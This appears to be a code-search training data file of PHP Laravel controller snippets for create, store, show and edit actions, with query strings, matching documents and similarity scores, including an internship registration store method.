"public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { Carbon::setlocale(LC_TIME, 'id'); $now = Carbon::now(); $date = Infopkl::where('id',1)->value('date'); if ($now >= $date) { return redirect('user/join')->with('message', 'Waktu pengajuan tempat PRAKERIN sudah habis!'); }else { $this->validate($request,[ 'company_id' => 'required', ]); $check = Perusahaan::find($request->company_id)->value('student'); if ($check == 0) { return redirect('user/join')->with('message', 'Kuota siswa sudah habis'); }else{ $yu = Perusahaan::find($request->company_id); $as = $yu->student - 1; $yu->student = $as; $yu->save(); } $sa = new Pendaftaran(); $sa->company_id = $request->company_id; $sa->user_id = Auth::user()->id; $sa->save(); return redirect('user/join'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n 'description' => 'nullable|string',\n ]);\n\n $resource = Resource::create($request->all());\n\n if ( $request->hasFile('file') ) {\n $resourceFile = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resourceFile);\n $resource->file = $resourceFile;\n $resource->save();\n }\n\n if ( $request->submit == 'Save' ) {\n return redirect()->route('admin.resources.index')->with('success','Resource Successfully Uploaded');\n } else {\n return redirect()->route('admin.resources.create')->with('success','Resource Successfully Uploaded');\n }\n }", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72857565", "0.714571", "0.71328056", "0.66390204", "0.6620437", "0.6567189", "0.6526738", "0.65074694", "0.64491314", "0.63734114", "0.6370837", "0.63628685", "0.63628685", "0.63628685", "0.6342026", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964", "0.63394964" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n 